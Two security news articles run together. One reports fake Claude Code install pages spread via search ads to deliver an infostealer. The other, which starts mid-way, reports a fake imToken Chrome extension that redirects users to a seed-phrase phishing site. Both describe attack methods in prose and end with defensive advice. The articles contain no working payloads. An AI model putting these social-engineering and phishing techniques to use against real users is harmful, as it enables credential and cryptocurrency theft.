Security researchers at Push Security recently uncovered a campaign targeting users of Anthropic’s Claude Code, a popular command-line AI coding assistant. 

The attackers are using cloned websites and malicious search advertisements to trick victims into installing information-stealing malware on Windows and macOS systems.

“Attackers are distributing almost identical cloned sites of popular developer tools like Claude Code with fake install instructions via malicious search engine ads — tricking victims into installing infostealer malware instead,” said the researchers.

Inside the InstallFix Malware Campaign

The campaign highlights a growing security risk tied to the widespread use of simple terminal commands to install developer tools. 

Many modern utilities rely on one-line installation commands — often using a “curl to bash” approach — that automatically download and execute scripts from a remote server. 

While this method makes installation fast and convenient, it also places significant trust in the source hosting the script. 

If the command points to a malicious server, the user may unknowingly execute harmful code directly on their system.

According to Push Security’s research on the campaign, attackers are exploiting this workflow by cloning legitimate installation pages and modifying the commands provided to users. 

The cloned sites closely replicate the official documentation pages for popular tools, but the installation instructions are altered to fetch malware instead of the intended software.  

This risk is amplified by the rapid adoption of AI-powered developer tools such as Claude Code. 

As AI coding tools expand beyond experienced developers to a broader audience of less technical users, more people may follow installation instructions without carefully verifying the source or reviewing the commands they run.

How InstallFix Attacks Work

InstallFix attacks rely on a straightforward but effective form of social engineering. 

Rather than relying on traditional phishing lures or fake error messages, attackers simply impersonate the official installation page for a popular tool. 

The cloned site often mirrors the legitimate page almost perfectly, including branding, layout, documentation navigation, and example commands. To a typical user, the page appears authentic.

The only meaningful difference lies in the installation command itself. 

Instead of downloading the legitimate installation script from the official Claude Code domain, the malicious command retrieves a payload from an attacker-controlled server. 

If a user copies and pastes the command into their terminal — as many installation guides instruct — the malware executes immediately on the system.

Inside the Claude Code Malware Payload

In the campaign targeting Claude Code, researchers observed the malware launching through cmd.exe, which then spawns mshta.exe to retrieve and execute additional scripts from a remote malicious domain. 

This staged execution process allows attackers to download additional payloads and establish persistence on the victim’s machine.

Search Ads Used to Distribute Malware

To drive victims to the fake installation pages, attackers are relying heavily on malvertising campaigns. 

Sponsored search results appear when users search phrases such as “Claude Code install,” “Claude Code CLI,” or related queries. 

Because sponsored links often appear above legitimate search results, users may click them quickly without closely inspecting the URL.

The attack is particularly effective because search engines sometimes truncate or hide portions of the domain in advertisement previews, making malicious domains appear more legitimate. 

Malvertising also bypasses many traditional security controls. Instead of receiving a suspicious email link, victims simply search for a tool they intend to install and unknowingly land on the attacker’s page.

Researchers determined that the payload used in the campaign matches signatures associated with Amatera Stealer, a relatively new information-stealing malware family that emerged publicly in 2025. 

Amatera is designed to collect sensitive data from infected systems, including browser-stored credentials, session cookies, authentication tokens, and other system information.

The malware uses evasion techniques such as dynamic API resolution and command-and-control communications routed through legitimate content delivery network (CDN) infrastructure to bypass security defenses. 

Because the traffic blends in with legitimate services, blocking it without disrupting normal operations can be difficult.

Malware Campaign Hides on Trusted Infrastructure

Another notable aspect of the campaign is the use of legitimate hosting platforms to deliver the malicious pages. 

Researchers observed cloned installation sites hosted on services such as Cloudflare Pages, Squarespace, and Tencent EdgeOne. 

By leveraging reputable infrastructure providers, attackers can blend their activity into normal web traffic patterns and reduce the likelihood that the malicious pages are immediately flagged or taken down.

Reducing Risk From InstallFix Attacks

Because these InstallFix-style attacks exploit common developer workflows — such as copying installation commands from websites — defenses must focus on both preventing malicious downloads and detecting suspicious command-line activity. 

• Avoid clicking sponsored search results when downloading developer tools and instead access installation instructions directly from official vendor documentation.

• Verify URLs and installation commands before executing them in a terminal, especially when commands use patterns like curl | bash that download and run remote scripts.

• Implement DNS filtering, secure web gateways, or domain reputation controls to block access to newly registered or suspicious domains used in malvertising campaigns.

• Deploy endpoint detection and response (EDR) tools to monitor command-line activity, script execution, and suspicious process chains associated with staged malware infections.

• Enforce allow-listing for trusted repositories and consider hosting internal mirrors of commonly used developer tools to ensure installations come from verified sources.

• Apply least privilege policies and restrict administrative access on developer workstations to reduce the impact of malicious installation scripts.

• Regularly test incident response plans and use attack simulation tools around software supply chain exploitation scenarios. 

Together, these measures help organizations build resilience against developer-targeted malware campaigns while limiting the potential blast radius if a malicious installation command is executed.

Attackers Target Developer Workflows

The campaign underscores how attackers are increasingly targeting trusted developer workflows and rapidly growing AI ecosystems to distribute malware at scale. 

As tools like Claude Code attract a broader user base, the simple act of copying an installation command from a webpage can become a powerful attack vector when adversaries manipulate the source.

Growing attacks that exploit trusted workflows and developer tools are prompting organizations to adopt zero trust solutions that reduce implicit trust and limit the impact of a single compromised action.  

The post Fake Claude Code Install Pages Spread Infostealer Malware appeared first on eSecurity Planet.

Socket researchers warn that the extension impersonates the popular imToken wallet brand and tricks victims into entering their seed phrases or private keys.

The “… extension automatically opens a threat actor-controlled phishing site as soon as it is installed, and again whenever the user clicks it,” said the researchers.

Inside the Fake imToken Extension Scam

The campaign specifically targets imToken, a widely used non-custodial cryptocurrency wallet platform that serves more than 20 million users across more than 150 countries. 

Non-custodial wallets differ from exchange-based wallets because users maintain full control over their private keys and recovery phrases. 

While this model gives users greater ownership of their digital assets, it also means that anyone who obtains a wallet’s seed phrase or private key can immediately gain full control of the associated funds without needing to bypass additional authentication controls.

Researchers discovered that the malicious browser extension was published to the Chrome Web Store on Feb. 2, 2026, where it presents itself as a harmless hex color visualization tool. 

The listing includes professional-looking wallet-themed imagery, five-star ratings, and a privacy policy that claims the extension does not collect user data — details that can make the tool appear legitimate at first glance and increase the likelihood that users will install it.

However, imToken has confirmed that its wallet is only available as a mobile application and has never released a Chrome browser extension. 

The company warned users that fake browser extensions impersonating the imToken brand had already resulted in cryptocurrency theft and financial losses.

How the Malicious Extension Works

Meanwhile, the malicious extension itself is intentionally minimal. It contains very little code and does not perform the color visualization functionality advertised in its description. 

Instead, the extension acts primarily as a phishing redirector. 

Its background script retrieves a destination URL from a remote configuration endpoint hosted on JSONKeeper and automatically opens a new browser tab that redirects the user to a lookalike website controlled by the attacker.

How Attackers Steal Seed Phrases

That landing page is designed to closely mimic imToken’s legitimate wallet import interface. 

To make the phishing site appear authentic, the attackers use mixed-script Unicode homoglyphs — characters from different writing systems that visually resemble standard Latin letters. 

For example, letters that appear to be i, T, or o may actually be Cyrillic or Greek characters substituted to bypass simple text-based detection systems and deceive casual reviewers.

Once the victim lands on the phishing page, the site walks them through what appears to be a normal wallet recovery process. 

Users are presented with two options: importing a wallet using a 12-word or 24-word seed phrase or entering the wallet’s private key directly. 

Either credential is sufficient for attackers to recreate the wallet and transfer its cryptocurrency assets to attacker-controlled addresses.

After the victim submits the seed phrase or private key, the phishing workflow continues with additional steps designed to reinforce the illusion of legitimacy. 

The site prompts the user to create a new password for the wallet and then displays a loading screen claiming that the wallet is being upgraded or synchronized. 

The process then opens the legitimate token[.]im site in a new tab to reassure victims the import was legitimate, even though attackers have already captured the credentials needed to take over the wallet. 

How to Reduce Malicious Extension Risk

Organizations should take steps to control which extensions can be installed and monitor their behavior.

• Restrict browser extension installations through centralized policy controls and allow-list only approved extensions from trusted publishers.

• Monitor browser and network activity for extensions that fetch remote configuration files, open external destinations, or connect to suspicious infrastructure.

• Use DNS filtering and web gateways to block newly registered, typosquatting, or homoglyph-based domains commonly used in phishing campaigns.

• Train users to install cryptocurrency wallet software only from official vendor distribution channels and verify legitimate applications before entering sensitive data.

• Audit installed browser extensions and permission changes across enterprise devices to identify suspicious or unauthorized tools.

• Implement strong wallet security practices, such as using hardware wallets or multi-signature protections and rotating keys immediately if a seed phrase or private key is exposed.

• Regularly test incident response plans and phishing scenario playbooks.

Collectively, these steps help reduce the risk of successful extension-based attacks.

Browser Extensions as Attack Vectors

This campaign highlights how browser extensions can become effective delivery mechanisms for phishing and credential theft. 

By impersonating legitimate brands and leveraging convincing user interfaces, attackers can gain access to cryptocurrency wallets and other sensitive data. 

Organizations should treat extension management as part of their broader endpoint security strategy and enforce stronger controls to reduce exposure. 

As part of a layered security approach, organizations are adopting zero trust solutions that continuously verify users, devices, and applications.

The post Malicious Chrome Extension Targets imToken Wallet Users appeared first on eSecurity Planet.